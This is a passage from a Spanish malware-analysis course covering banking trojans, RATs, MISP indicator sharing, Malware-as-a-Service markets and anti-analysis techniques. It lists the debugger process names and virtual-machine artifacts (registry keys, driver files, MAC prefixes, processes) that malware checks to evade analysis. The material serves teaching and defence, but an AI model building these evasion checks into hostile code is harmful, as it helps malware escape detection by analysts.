Siguiendo la tendencia de Dridex, incorpora también múltiples funcionalidades de antianálisis que

están en continua evolución para mantenerse como referente en el mundo de los troyanos bancarios.
A día de hoy, existen múltiples campañas de GootKit que se distribuyen de manera masiva casi a
diario.
https://myonlinesecurity.co.uk/more-gootkit-banking-trojan-via-fake-invoice-overdue-notice-spoofi
ng-metro-finance-using-mailgun-smtp-relay-service/
Imagen 5.103. Campaña de distribución de GootKit.

60/104
Malware
Aunque, por lo general, la botnet utilizada afecta a Reino Unido, se están incorporando nuevos
ficheros de configuraciones que también incluyen a entidades de otros países, como por ejemplo
Italia, entre sus objetivos.
Imagen 5.104. Fragmento de fichero de configuración de Dridex en una botnet italiana.

PandaBanker
PandaBanker lleva siendo una de las familias más activas, por no decir la que más, desde finales de
2017.
Este malware, además de incorporar también bastantes técnicas antianálisis (es la tónica habitual
desde la aparición de Dridex), tiene tres características que permiten reconocerlo fácilmente.
La primera de ellas es la forma en que estructura su fichero de configuración, creando una lista de
todos los objetivos por un lado para después, por otro lado, listar todas las inyecciones en conjunto.
Esto es algo que en su día lo hizo el primer troyano bancario, Zeus, aunque PandaBanker lo ha
mejorado con creces.
Imagen 5.105. Listado con los objetivos.

Imagen 5.106. Listado con las inyecciones.
61/104
Malware
En segundo lugar, dispone de una amplia variedad de botnets que utiliza en cada una de las
campañas, incluyendo filtrado por dirección IP para cada uno de los países a los que afecta.
Imagen 5.107. Inyecciones para entidades de distintos países según la botnet.

Otra característica típica es la de su distribución, no solo en campañas únicas, sino también en

conjunto con otros troyanos como, por ejemplo; “Hancitor > Pony > Evilpony > PandaBanker”.
Imagen 5.108. Campaña de distribución de Hancitor > Pony > Evilpony > PandaBanker
62/104
Malware
BankBot
BankBot es una de las familias de malware bancario más conocidas entre las que afecta a la
plataforma Android, en parte, debido a que en 2016 su código fue filtrado en un foro underground.
Imagen 5.109. Post en el que se filtró el código fuente de BankBot.

Desde entonces, se ha convertido en uno de los malware más activos de los preparados para la
plataforma Android. Tal es su notoriedad, que ha llegado incluso a difundirse haciendo uso de la
tienda de aplicaciones oficial de Google, Google Play.
Los siguientes enlaces muestran un ejemplo de estas campañas:
https://blog.avast.com/es/troyano-bancario-en-google-play-afecta-a-usuarios-espanoles-mediante-u
na-app-de-ajedrez
https://blog.trendmicro.com/trendlabs-security-intelligence/bankbot-found-google-play-targets-ten-
new-uae-banking-apps/
https://www.welivesecurity.com/2017/09/25/banking-trojan-returns-google-play/
https://www.zscaler.com/blogs/research/malware-google-play-abusing-accessibility-service
Sin embargo, la manera más común en la que se llevan a cabo las campañas, es mediante la
creación de dominios desde los que se puede descargar la aplicación maliciosa.
Cuando Bankbot infecta un dispositivo, automáticamente este pasa a formar parte de la lista de bots
en el servidor C&C. A partir de ese momento, el actor malicioso que se encuentre al cargo de ese
C&C podrá llevar a cabo una gran cantidad de acciones maliciosas sobre el dispositivo.
63/104
Malware
Imagen 5.110. Panel de un servidor C&C con los dispositivos infectados.

Una de estas operaciones, es la obtención de las credenciales de acceso a la banca online de los
usuarios del teléfono. La manera en la que se lleva a cabo es mediante la superposición (overlay) de
u n phishing, cuando se abre en el dispositivo una de las aplicaciones de las entidades bancarias
objetivo.
Una vez que las credenciales han sido obtenidas, se almacenan en el servidor C&C.
64/104
Malware
Imagen 5.111. Inyecciones preparadas para algunas de las entidades financieras objetivo.
Bankbot es un malware en constante evolución, como prueba de ello, las aplicaciones de las
últimas campañas, además de contar con la funcionalidad de troyano bancario presentada, permiten
llevar a cabo acciones propias de malware de tipo Ransomware y RAT.
TrickBot
Para acabar, cabe mencionar TrickBot, primero, por su longevidad entre las familias de malware
con actividad diaria, que data de principios de 2017, aunque también por dos características muy
propias.
TrickBot, no utiliza servidores C&C como casi todo el resto de familias de malware, sino que la
red de equipos infectados, denominados bots, se comunica con el servidor C&C empleando equipos
intermedios de salto. La mayoría de ellas, máquinas comprometidas expuestas a internet.
Entre ellas se encuentran: routers, cámaras IP o antenas y repetidores wifi.
65/104
Malware
Imagen 5.112. Interfaz web de configuración de un router Mikrotik vulnerado.

Fuente: elaboración propia CyberAcademy - MikroTik.
Imagen 5.113. Interfaz web de configuración de una antena AirOS vulnerada.

Fuente: elaboración propia CyberAcademy - AirOS.
El acceso a estos equipos se consigue mediante la explotación de distintas vulnerabilidades,

configuraciones inseguras o mediante ataques de fuerza bruta sobre los usuarios por defecto.
Imagen 5.114. Ataque de fuerza bruta sobre routers Mikrotik.

66/104
Malware
Los atacantes, una vez que logran acceso a los dispositivos, crean reglas que redirigen las
conexiones entrantes desde los bots por un puerto específico al servidor C&C real. Todo ello, de
forma transparente para los usuarios de los dispositivos implicados (routers, antenas, etc.).
Imagen 5.115. Regla de redirección de tráfico al C&C.

De esta forma, los propietarios de la botnet, tratan de introducir una capa de abstracción que impide
la identificación del C&C real, permitiendo de esta manera un mayor up-time frente a labores de
reporte y cierre por parte de las empresas de seguridad.
Imagen 5.116. Representación conceptual de la Infraestructura intermedia.

Por otro lado, otra de sus características es la capacidad para actualizar las direcciones IP de
contacto conforme el atacante lo vaya decidiendo, a través de un fichero de configuración.
67/104
Malware
Imagen 5.117. Configuración que contiene los servidores de contacto.

4.5. Miner
Aunque las criptomonedas han existido desde hace mucho tiempo y se usan con fines legítimos, los
delincuentes han ensuciado su reputación.
Esta tipología de malware se dio a conocer notablemente en 2017 con la aparición de Adylkuzz, una
familia de bitcoinminer, que cobró notoriedad al utilizar el Exploit KitEternalBlue CVE-2017-0144,
supuestamente creado por la NSA, semanas más tarde que lo explotase mundialmente el ransomware
WanaCry.
No obstante, esta amenaza se encuentra activa desde 2011 y como se puede observar en la gráfica
(datos de Kaspersky de 2011- Primer Semestre 2017), se encuentra en crecimiento.
68/104
Malware
Imagen 5.118. Datos de Kaspersky Lab con equipos infectados.

Fuente: elaboración propia CyberAcademy - Kasperskly Lab.
Este crecimiento se debe, en parte, al aumento exponencial que han experimentado las criptomonedas.
Como curiosidad, cabe destacar que dicha amenaza está siendo una de las más lucrativas para los grupos
de cibercriminales, por lo que algunos grupos están sustituyendo la distribución de ransomware por
miners.
El objetivo de este tipo de malware es obtener beneficio económico tras minar criptomonedas en una
cuenta propiedad de los cibercriminales.
Anotación: un miner funciona de la siguiente manera
1. Infecta la máquina del usuario, convirtiéndola en un b o t que forma parte de una

botnet.
2. Busca infectar servidores, por su gran poder de computación, siendo targets ISP,
universidades e instituciones de investigación, incluso superordenadores en
infraestructuras críticas.
4. Monitoriza el rendimiento del equipo, para saber cuándo puede minar. Cuando el
rendimiento es bajo, se comunica con el servidor C&C, donde mina las
criptomonedas.
69/104
Malware
Aunque esta amenaza, a simple vista, parece inofensiva, y mucho menos peligrosa que cualquier otra
ciberamenaza (ransomware, InfoStealer, etc.), no ha de ser menospreciada, ya que los miners que no
están siendo administrados alteran los procesos críticos de una empresa o infraestructura al sobrecargar
los equipos, comprometiendo el rendimiento llegando hasta el punto de provocar un cierre o que éstos
dejen de responder.
4.6. BackDoor
Esta tipología de malware es un tipo específico que permite el acceso al sistema infectado y su control
remoto. Es decir, el atacante puede llevar acabo cualquier acción desde el equipo comprometido.
Un backdoor funciona de la siguiente manera:
1. Infecta la máquina del usuario, para tener el control total de la esta.

2. Crea una puerta secreta al equipo.
3. La mayoría de los malware actuales, tienen funcionalidad de backdoor o se descargan
uno.
Son programas maliciosos diseñados con la única finalidad de crear una “puerta trasera” que permita
al ciberdelincuente, tener acceso al sistema.
El objetivo final es conseguir tener una gran cantidad de equipos comprometidos, para formar una
gran botnet.
Una de las familias más conocidas de esta tipología es el Andromeda, cuyo vector de entrada suele ser
la descarga por diferentes familias bancarias como el Citadel, o el worm Sinowal.
4.7. RAT
Esta tipología de malware es un tipo específico que controla los sistemas utilizando herramientas de
acceso remoto (Remote Access Tools).
Se instala con la finalidad de que, una vez que se compromete el equipo de la víctima, pase a ser un
equipo remoto controlado en su totalidad por el atacante, realizando multitud de acciones como por
ejemplo instalando programas adicionales, normalmente troyanos.
70/104
Malware
Anotación: un RAT funciona de la siguiente manera
Infecta la máquina del usuario, para tener el control total de esta.

Monitoriza el comportamiento, bien a través de keyloggers u otros spyware.
Actuar como puerta trasera.
Se oculta y pasa inadvertido ya que no se lista en los programas que están corriendo ni tareas, todo
ello para no ser detectado por el usuario ni por herramientas de seguridad.
Una de las familias más populares de esta tipología fue njRAT, también conocido como Bladabindi.
Esta familia que afectaba a una gran cantidad de usuarios, está activa desde 2012, fue distribuida de
forma masiva en múltiples campañas y detectada en ataques dirigidos a mediados de 2014 en India.
Imagen 5.119. Builder de njRAT.

71/104
Malware
Entre sus funcionalidades están:
Robo de credenciales almacenadas en los navegadores.

Log keystrokes.
Tomar capturas de pantalla, grabar con la webcam y el micrófono.
Modificar el registro del sistema operativo.
Matar procesos que considere que pueden detectarle.
Habilitar una shell remota, para que el atacante pueda acceder.
Manipulación de ficheros.
Posibilidad de ejecución remota de archivos o programas del ordenador comprometido.
Acceso remoto completo del equipo.
Monitoriza y registra en su panel de control, además de toda esta información arriba listada,
el nombre de la máquina comprometida, su IP, usuarios, OS, fecha de instalación, país, etc.
Una vez que se conecta, envía las conexiones a un servidor remoto.
Imagen 5.120. Tráfico comprometido del njRAT.

Como curiosidad, cabe destacar que algunos realizaban conexiones a través del servicio “ no-ip.com”.
Debido a la gran cantidad de infecciones que estaba experimentándose, Microsoft decidió filtrar el
tráfico a través de “no-ip.com” lo que provocó la caída de más de 4 millones de páginas web en 2014. (h
ttps://krebsonsecurity.com/2014/07/microsoft-darkens-4mm-sites-in-malware-fight/#more-26708).
V. Indicadores de compromiso
Algo muy valioso tanto para las compañías como para los analistas, son los indicadores de
compromiso obtenidos de los análisis de malware realizados.
Los IOC (indicador de compromiso), son patrones que determinan una infección, es decir,
identificadores de una campaña, muestra, proceso, conexión, etc. Por ejemplo, la URI
“/linuxsucks”, es un IOC que identifica una comunicación con un servidor C&C por parte de un
ransomware Locky.
Estos indicadores, son muy valiosos a la hora de realizar una respuesta ante incidentes, un análisis de
una familia de malware, bloquear conexiones maliciosas que pasen por un proxy, etc.
72/104
Malware
Dado que se recogen cientos o miles de IOC diariamente, algunos más valiosos que otros, existe la
necesidad de contenerlos en alguna plataforma, al igual que disponer de un estándar para ello (STIX,
openIOC, etc.).
MISP
En este curso, vamos a utilizar la plataforma open source MISP ( Malware Information Sharing
Platform), creada por el CIRCL para introducir todos estos IOC. ( http://www.misp-project.org/, https:/
/github.com/MISP/MISP).
Imagen 5.121. Panel de MISP.

Fuente: elaboración propia CyberAcademy - MISP Threat Sharing Platform.
MISP es una plataforma que fue diseñada, y a día de hoy sigue siendo mantenida, por el CIRCL y
que recibió una gran aceptación por parte de las entidades, organismos y analistas desde el primer
momento. Está creada para la compartición, almacenamiento y correlación de indicadores de
compromiso (IOC).
Esta base de datos distribuida permite la compartición de información relativa a malware entre
distintas organizaciones, por lo que la detección y prevención de ataques es más rápida, lo que reduce
el número de falsos positivos.
A continuación, se detallan unos términos que deben ser conocidos para el entendimiento de este
punto:
Server o Instance:
Una instancia MISP es una instalación del software MISP y la base de datos conectada. Todos
los datos visibles para los usuarios se almacenan localmente en la base de datos y los datos
compartibles (basados en la configuración de distribución) se pueden sincronizar con otras
instancias a través de las acciones de sincronización. Las instancias pertenecientes a otras
organizaciones se denominarán "instancias remotas".
73/104
Malware
Event:
Un evento de MISP es una amenaza conocida, documentada con metadatos y atributos, siendo
estos los IOC asociados a la amenaza.
Attributes:
IOC individuales presentes en un evento. Estos son los elementos fundamentales que utiliza
MISP para entablar correlaciones. La versión actual de MISP permite etiquetar atributos
individualmente, así como definir niveles de sensibilidad y, por tanto, compartición a este nivel.
Tags:
Las etiquetas o tags permiten realizar una clasificación de eventos y agruparlos por una
característica que pueda indicar que varios eventos tienen algo en común. Por ejemplo, se pueden
clasificar todos los eventos relacionados con ransomware mediante una misma etiqueta.
Taxonomies:
Grupos de etiquetas que tienen unas características comunes. Pueden definirse taxonomías
custom, así como utilizar taxonomías típicas (Admiralty scale, VERIS, etc.).
Organisation:
Dentro de un servidor, es decir, de una instancia MISP, tiene que haber al menos una organización
local. Además de la organización necesaria, puede haber más. A su vez, cada usuario debe
pertenecer a una organización. Cuando se crea un evento, se selecciona qué organización u
organizaciones pueden acceder a la información de dicho evento.
Community:
Conjunto de organizaciones dadas de alta en una instancia de MISP.
Sharing group:
Es un grupo de compartición personalizado de modo que un evento o un atributo solo será visto
por los organismos que pertenecen a dicho grupo. Dichas organizaciones pueden pertenecer tanto a
la instancia local como a otra remota.
74/104
Malware
Proposal:
Dado que un usuario no puede modificar un evento del que no es dueño, existe la posibilidad de
añadir información a eventos que son propiedad de otro por medio de una propuesta de nuevos
atributos. A través de esta propuesta, el propietario del evento podrá decidir si incluir dichos
atributos en el evento.
Roles de usuarios:
A la hora de utilizar MISP, hay distintos roles de usuarios que hay que tener muy en cuenta, sobre
todo a la hora de la compartición de eventos.
Admin:
Tiene permisos de administrador en el servidor, es decir, puede realizar cualquier acción sobre la
información almacenada en su servidor.
Org admin:
Tiene permisos de administrador en una organización.
User:
Tiene permisos para crear eventos y para modificar o eliminar los creados por él, pero no puede
publicarlos.
Publisher:
Tiene permisos para crear eventos y para modificar, eliminar y publicar los eventos creados por
él.
Sync user:
Este tipo de usuario se puede utilizar como usuario de sincronización. La clave de autenticación
de este usuario se puede entregar al administrador de una instancia MISP remota para permitir que
las funciones de sincronización funcionen, pudiendo así compartir información.
Read only:
Permite al usuario explorar eventos a los que su organización tiene acceso, pero no permite que
realice cambios en la base de datos.
75/104
Malware
Niveles en el intercambio de eventos
Otro punto importante es la definición de niveles a la hora del intercambio de eventos, lo cual se
define dentro de la plataforma por el parámetro “distribution”.
Además de la visibilidad que tendrán los usuarios sobre los eventos dentro de MISP, este parámetro
también controla si el evento será sincronizado con otras instancias. En la visibilidad del evento juega
un papel fundamental la organización (organisation) a la que pertenece el usuario que crea el evento.
Esta organización se define en la creación del propio usuario. Se establecen 5 niveles de intercambio
de información:
Your organization only:
Este nivel solo permite que los usuarios pertenecientes a la misma organización puedan ver el
evento. Si se desea compartir el evento con instancias remotas, el usuario de sincronización deberá
pertenecer a dicha organización.
This community only :
Este nivel permite que los usuarios que pertenecen a la misma comunidad puedan ver el evento,
es decir, los usuarios pertenecientes a la propia organización del usuario, a todas las organizaciones
existentes en la propia instancia de MISP y a las organizaciones que sincronizan con la instancia de
MISP.
Connected communities:
Permite que los usuarios que formen parte de la comunidad puedan ver los eventos de su
comunidad de origen y de comunidades vecinas. Es decir, todas las organizaciones definidas en la
propia instancia de MISP, todas las organizaciones en instancias remotas de MISP que se
sincronicen directamente y el de las instancias que se conectan a estas últimas (dos saltos desde la
instancia inicial).
All communities:
Se compartirá el evento con todas las comunidades permitiéndose que se propague de un

servidor a otro.
Sharing group:
Es una visibilidad personalizada en la que se incluyen determinadas organizaciones para que

puedan visualizar el evento.
Una vez dentro de la herramienta, se pueden visualizar los eventos que se vayan generando, con
campos de interés como “Info” y “Tags”.
76/104
Malware
Imagen 5.122. Eventos en MISP

Dentro de estos, se incluyen los atributos, definiendo su categoría.
Imagen 5.123. Atributos en MISP.

Esta información es muy valiosa para los analistas, como comentábamos anteriormente, tanto a la
hora de correlar campañas como para una respuesta ante incidentes.
Esta campaña de InfoStealer Pony, por ejemplo, tenía un binario cuyos metadatos también fueron
observados en otra campaña de días anteriores.
77/104
Malware
Imagen 5.124. Relación de atributos I.

Imagen 5.125. Relación de atributos II.

Por otro lado, si por ejemplo tenemos un incidente en el que se ha cifrado los archivos de un equipo
con la extensión “.ykcol”, antes de comenzar con el análisis forense, análisis de la muestra, análisis de
logs, etc., podríamos realizar una búsqueda del string en la plataforma y, en caso de que esta disponga
de todos los IOC que hayamos ido obteniendo hasta la fecha, podría mostrar tanto la familia causante
de este incidente, como la fecha, otros IOC, vector de entrada, etc.
Imagen 5.126. Eventos relacionados con la extensión ".ykcol".
78/104
Malware
Por otro lado, tomando esta información como indicadores para incluir en el bloqueo de la
seguridad perimetral, bastaría con recoger dichos atributos en el formato que deseemos para incluirlos
en un orquestador que envíe, en cada formato necesario, la información a las herramientas
pertinentes.
1. Despliega una instancia de MISP en una máquina local.

2. Crea Tags y eventos en los que poder correlar información.
3. Utiliza la sincronización con el listado de feeds1 gratuitos para alimentar la instancia

de MISP.
1 Feeds disponibles en MISP por defecto: https://www.misp-project.org/feeds/
Para ayudarte a realizar esta actividad, puedes revisar la unidad 5 del temario, en la que no solo
se explica cómo realizar el ejercicio, sino que también puedes encontrar enlaces de los feeds
gratuitos de MISP.
VI. MaaS (Malware as a Service)

Como comentábamos anteriormente en los vectores de entrada utilizados por las distintas familias de
malware, hay una de ellas que se conoce como MaaS. Esta ha ido creciendo a lo largo del tiempo y hoy
en día es una opción muy interesante para los atacantes.
79/104
Malware
Ahora que conocemos la estructura de un malware, podemos abordar este vector de entrada ya que
todos los términos nos resultarán familiares.
La siguiente figura muestra un resumen de los distintos tipos de vectores de entrada que nos
encontramos en la actualidad.
Imagen 5.127. Resumen de vectores de entrada.

Las 2 tipologías que se hallan en la Deep Web, “Crime as a Service” y “Pay per Install”, son parte del
mercado de MaaS.
Pay per install
En primer lugar, hablaremos sobre Pay per Install, que consiste en la contratación del servicio de
una botnet exitosa para distribuir nuevas muestras de malware en estas.
Imagen 5.128. Estructura de una botnet.

80/104
Malware
En este caso, los botmaster ofrecen su servicio en mercados de la Deep Web , mostrando el precio
del pago que hay que realizar por cada instalación de una muestra de malware.
La siguiente figura muestra una oferta, ya bastante antigua, en el que uno de los productos
ofrecidos en un mercado ruso es el PPI.
Imagen 5.129. Precio de PPI en mercado underground.

Como se puede apreciar, el precio ha ido disminuyendo considerablemente cada año a causa de 2
razones.
La primera de ellas es la competencia y es que, con el paso de los años, hay más atacantes en el
mercado, por lo cual existen más botnet y la lucha por el precio crece, al igual que la demanda.
La segunda es que, conforme va pasando el tiempo, el valor de una botnet disminuye a causa de
que los bots contenidos en esta tienen más infecciones, por lo que su uso es menos exitoso.
Crime as a Service
Por otro lado, se encuentra el Crime as a Service, que consiste en la contratación del servicio del
botmaster de un malware exitoso para distribuir nuevas instrucciones, como ficheros de configuración
con nuevos objetivos, distintas inyecciones, etc.
81/104
Malware
Imagen 5.130. Crime as a Service.

Un ejemplo de esto sería, por ejemplo, si el actor X se hace con una botnet tras la distribución de un
troyano bancario Dridex entre cuyos objetivos se encuentran las entidades financieras de Italia. Este
podría ofertar en algún mercado underground la inclusión de un nuevo fichero de configuración e
inyección que afecte a otras entidades financieras en las máquinas infectadas.
De esta manera, si un actor Y paga la cantidad de precio solicitada por el actor X y le facilita un
fichero de configuración que afecte a entidades de Francia, todos los bots que comprenden la botnet
del actor X, se verán afectados también por este.
Este método es muy común entre las organizaciones de atacantes, ya que necesitan diversificar sus
tareas cada vez más entre programadores de malware, distribuidores, creadores de inyecciones,
programadores de packers, gestores de servidores, etc.
Otro método es el alquiler de paquetes completos de malware para su distribución, lo que puede
realizarse por parte del propio comprador, como por parte del actor utilizando sus botnets o métodos
de distribución.
En la siguiente figurase muestra un ejemplo del ofrecimiento del alquiler durante 2 semanas de un
paquete completo para el troyano bancario de Android, RedAlert.
82/104
Malware
Imagen 5.131. Oferta de alquiler del paquete RedAlert.

En dicha publicación, además de detallar las características técnicas como si de cualquier producto
legal se tratase, el actor fija un precio de salida de 500 $ por el alquiler de la infraestructura del
troyano.
Esta infraestructura se compone del fichero APK, inyecciones, servidor C&C y el tráfico necesario
para que el malware sea accesible por el mayor número de usuarios posibles. Además, se ofrece
soporte 24x7 por parte del desarrollador.
Imagen 5.132. Aclaraciones realizadas por el desarrollador.

En esta captura anterior, el propio actor confirma que se trata de un servicio de MaaS, de forma
que, una vez finaliza su implementación, se proporciona el servicio de alquiler y soporte 24x7.
83/104
Malware
Tras la creación de una identidad digital y la navegación por la Deep Web, trata de encontrar
un servicio de MaaS en el que se ofrezca el alquiler de un paquete o el ofrecimiento de PPI.
Como puedes observar, la oferta es muy amplia, pero recuerda que no se recomienda en
ningún caso la obtención de paquetes, puesto que estaremos fomentando actividades ilegales.
VII. Técnicas de evasión

Bien para dificultar la tarea de ingeniería inversa al analista o bien para impedir que la muestra pueda
ser analizada por sandboxes o ejecutada en entornos virtuales, varias familias de malware implementan
técnicas en su código con tal propósito.
Si bien no se trata métodos que puedan mantener a raya a un reverser con cierta experiencia, un
analista que nunca se haya enfrentado a esta situación sí que puede encontrar dificultades para analizar la
muestra y los sistemas automáticos pueden ser inútiles frente dichas técnicas.
Desde el lado de los atacantes, interesa que sus campañas consigan mantenerse activas el mayor
tiempo posible (up-time), pues cuanto más se prolonguen en el tiempo, mayor podrá ser el beneficio que
obtengan a través de su actividad cibercriminal.
Las técnicas empleadas para alargar la vida de las campañas consisten en dificultar el análisis de las
muestras mediante métodos de programación que rompan el desensamblado del que se servirán los
analistas para realizar los procesos de ingeniería inversa o directamente impedir que se pueda correr la
pieza de malware para analizar bajo un debugger.
En cuanto a impedir el análisis automático por medio de sandboxes, se implementan técnicas con el
fin de detectar entornos virtuales para bien finalizar la ejecución o modificar el comportamiento de la
muestra y ocultar su funcionalidad real.
84/104
Malware
Aunque las explicaciones que se muestran a continuación carezcan prácticamente de sentido hasta que
os encontréis inmersos en el módulo de reversing, dado que el nivel de dificultad de comprensión es
muy alto, es importante conocer algunas de las técnicas utilizadas.
7.1. Técnicas anti-disassembly
Junk instructions
Imagen 5.133. Junk instructions .

Se trata de un método de ofuscación más que anti-disassembly.
En la captura se muestra cómo se realizan cientos de modificaciones aleatorias a un registro que no

afectan al flujo del programa, pues se trata de operaciones que son despreciables o que no tienen
importancia. El objetivo de esta técnica es hacer perder tiempo al analista analizando un código basura
que puede ser tan extenso como se establezca en el software de ofuscación.
En el listado se puede observar cómo se modifica el registro ESI pero nunca se guarda en memoria
y su valor siempre es machacado por otro nuevo. Además, al final del todo, se vuelve a machacar el
valor del registro con un valor de la pila. Teniendo en cuenta estos detalles, se puede asegurar que la
secuencia de instrucciones no tiene ningún propósito y se pueden obviar.
85/104
Malware
Instrucciones Jump con condiciones constantes
Imagen 5.134. Instrucciones Jump con condiciones constantes.

Aunque en el listado se muestre un Jump condicional, la condición siempre es la misma, por tanto,
se trata de un Jump incondicional.
El objetivo de este método es que, según las técnicas de análisis de código que ofrecen los
desensambladores, se pueda llegar a romper el desensamblado.
Dado que la secuencia de código comienza con XOR EAX, EAX, el registro XOReado se
establecerá a 0 y, por tanto, se activará el ZF con total seguridad.
Como la siguiente instrucción es un salto condicional que se tomará si se activa el ZF, realmente
nos encontramos ante un salto incondicional, debido a que el ZF siempre se activará en una secuencia
como esta.
El problema reside en que el desensamblador procesa primero la rama con la condición falsa,
entrando en conflicto con la rama verdadera.
Jumps con el mismo destino
Imagen 5.135. Jumps con el mismo destino.

En esta ocasión se presentarán en el listado dos Jumps consecutivos con condiciones opuestas,
ambos apuntando a la misma dirección, por tanto, siempre se tomará el salto. En el ejemplo de la
imagen se saltará a la dirección loc_401C27, tanto si el resultado de una comparación es menor como
si no lo es (es decir el 100 % de los posibles resultados), se continuará la ejecución por el mismo sitio.
El problema de esta técnica reside en que el desensamblador procesa instrucción a instrucción y

mediante este tipo de saltos condicionales, el código que les precede nunca será ejecutado, por tanto,
el desensamblado se puede romper en este punto.
7.2. Técnicas anti-debugger
86/104
Malware
IsDebuggerPresent()
Se trata de una técnica básica de detección que chequea el PEB2 para ver si está activado el flag
BeingDebugged.
Imagen 5.136. IsDebuggerPresent().

2 Process Environment Block. Sección de memoria que contiene ciertos parámetros de
ejecución asociados a un proceso. Entre esos parámetros se encuentran las variables de
entorno, módulos cargados por el proceso, direcciones en memoria e información de
debugging. Se puede consultar su estructura en: https://docs.microsoft.com/en-us/window
s/desktop/api/winternl/ns-winternl-_peb
87/104
Malware
NtGlobalFlag
El PEB tiene otro campo llamado NtGlobalFlag (en el offset 0x68) para detectar si el programa ha
sido cargado por un debugger:
Si no está siendo debuggeado, el valor de este campo es 0x0.
Si está siendo debuggeado, contiene el valor 0x70.
Imagen 5.137. NtGlobalFlag.

CheckRemoteDebuggerPresent()
CheckRemoteDebuggerPresent() es otra API que se puede usar para ver si un programa está siendo
debuggeado.
Esta función se invoca con dos parámetros, un manejador al proceso y un boolean donde se
devolverá el resultado de si el proceso está siendo debuggeado o no.
Debugger exceptions
Esta técnica se basa en el hecho de que el debugger va a ser el encargado de manejar las
excepciones que se eleven en el programa, en lugar de ser el manejador de excepciones quien se
encargue de ellas.
De esta manera, si se generan excepciones de forma premeditada y en el manejador de excepciones

se da un valor a un flag para confirmar que ha sido él el que ha tratado la excepción, se puede deducir
si un programa está siendo debuggeado al pasarse al usuario el control del programa y no al
manejador de excepciones y, por tanto, si asignar determinado valor al mencionado flag .
88/104
Malware
Timing checks
Cuando se debuggea un proceso, se emplean ciclos de CPU tanto por el código del debugger como
por el reverser traceando el programa.
Analizando el tiempo de ejecución entre diversos puntos del programa, se puede deducir si se está
corriendo bajo un debugger.
Las siguientes llamadas permiten calcular estos tiempos:
Rdtsc (Read Time-Stamp Counter)

GetTickCount()
Proceso padre
Generalmente, un proceso tiene como padre a explorer.exe, pues es el encargado de lanzarlo

cuando se realiza un doble clic sobre un ejecutable.
Se puede iterar sobre los procesos en ejecución en un sistema y si el PID del proceso padre del
proceso que interese saber si está corriendo bajo un debugger no es el PID de explorer.exe, es posible
que esté siendo debuggeado.
Procesos asociados a debuggers
Otra forma de ver si hay un debugger ejecutándose en el sistema es listar todos los procesos y
buscar si alguno de los nombres se corresponde a debuggers:
Ollydbg.exe
x32dbg.exe y x64dbg.exe
Idaq.exe
Windbg.exe
Detección de BP
Cuando se establece un BP en el código, se reemplaza el opcode original por un 0xCC (int3).
Un ejecutable puede implementar una rutina que escanee el código en busca de este opcode y
detectar de esta manera que está siendo debuggeado.
No solo los BP en software pueden ser detectados, los basados en hardware también.
7.3. Técnicas anti-vm
89/104
Malware
Es común tratar de detectar entornos virtuales a través de los artefactos, trazas y ficheros que los
softwares de virtualización dejan sobre ellos.
A continuación, se recoge en un listado organizado por las posibles categorías de elementos que
permitirían detectar sistemas virtualizados:
Claves de registro
HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0

(Identifier) (VBOX)
(Identifier) (QEMU)
HARDWARE\Description\System (SystemBiosVersion) (VBOX)
HARDWARE\Description\System (SystemBiosVersion) (QEMU)
HARDWARE\Description\System (VideoBiosVersion) (VIRTUALBOX)
(Identifier) (VMWARE)
Ficheros de Sistema
"system32\drivers\VBoxMouse.sys"
"system32\drivers\VBoxGuest.sys"
"system32\drivers\VBoxSF.sys"
"system32\drivers\VBoxVideo.sys"
"system32\vboxdisp.dll"
"system32\vboxhook.dll"
"system32\vboxmrxnp.dll"
"system32\vboxogl.dll"
"system32\vboxoglarrayspu.dll"
"system32\vboxoglcrutil.dll”
"system32\vboxoglerrorspu.dll"
"system32\vboxoglfeedbackspu.dll"
"system32\vboxoglpackspu.dll"
"system32\vboxoglpassthroughspu.dll"
"system32\vboxservice.exe"
90/104
Malware
"system32\vboxtray.exe"
"system32\VBoxControl.exe"
"system32\drivers\vmmouse.sys"
"system32\drivers\vmhgfs.sys"
Directorios
"%PROGRAMFILES%\oracle\virtualbox guest additions\"

"%PROGRAMFILES%\VMware\”
Direcciones MAC
"\x08\x00\x27” (VBOX)
"\x00\x05\x69” (VMWARE)
"\x00\x0C\x29” (VMWARE)
"\x00\x1C\x14” (VMWARE)
"\x00\x50\x56” (VMWARE)
Procesos
vboxservice.exe (VBOX)
vboxtray.exe (VBOX)
vmtoolsd.exe (VMWARE)
vmwaretray.exe (VMWARE)
Vmwareuser (VMWARE)
vmsrvc.exe (VirtualPC)
vmusrvc.exe (VirtualPC)
prl_cc.exe (Parallels)
prl_tools.exe (Parallels)
xenservice.exe (Citrix Xen)
91/104
Malware
CPUID
Se trata de una instrucción que puede detectar entornos virtuales dependiendo del parámetro que se
le pase en el registro EAX de forma previa a su llamada:
Presencia del Hypervisor haciendo uso de (EAX = 0x1)

Hypervisor vendor haciendo uso de (EAX = 0x40000000)
Red Pill
Técnica implementada por Joanna Rutkowska, que busca la dirección de la Store Interrupt
Descriptor Table (SIDT).
Si la dirección devuelta es:
Mayor que 0xD0 -> Máquina virtual

Menor o igual -> Máquina real
Detecta máquinas virtuales que corran con un único procesador.
7.4. Máquinas físicas

Puede darse la posibilidad de que sea muy complejo lidiar con las técnicas implementadas para la
detección de entornos virtuales. Una posible solución es desplegar máquinas físicas para el análisis de
estas muestras.
Como volver a un estado limpio del sistema no sería tan sencillo como revertir un snapshot de una
máquina virtual, se puede hacer uso de software que ayude a devolver la máquina a un estado libre de
infección, como por ejemplo Deep Freeze, o implementar un sistema de reinstalación de la imagen del
sistema, aunque sería más tedioso y lento.
Modifica todos los registros, configuraciones, etc. necesarios en una VM para tratar de tener
el menor número de “checks” posibles en la herramienta Pafish (https://github.com/a0rtega/pafis
h).
Propuesta de solución
92/104
Malware
A continuación, se facilita una resolución parcial de la actividad propuesta consistente en

crear una VM indetectable.
Para resolverlo, se puede aprovechar los scripts públicos que ya existen en Internet como, por
ejemplo:
GitHub, https://github.com/nsmfoo/antivmdetection/blob/master/antivmdetect.py
No obstante, siempre es positivo realizar a mano algunas de las acciones, para de esta manera
comprender los tipos de cambios que se realizan y observar lo fácil que es para las distintas
muestras de malware identificar que están siendo ejecutadas en un entorno virtual.
93/104
Malware
Antes de nada
Siempre que se quiera trabajar sobre registros y procesos en una VM, lo más importante es tomar
un “snapshot” para que, en caso de que se elimine o modifique algo que no se deba y, a causa de
esto, se deje inoperativo el sistema, podamos volver a recuperarlo en cuestión de segundos.
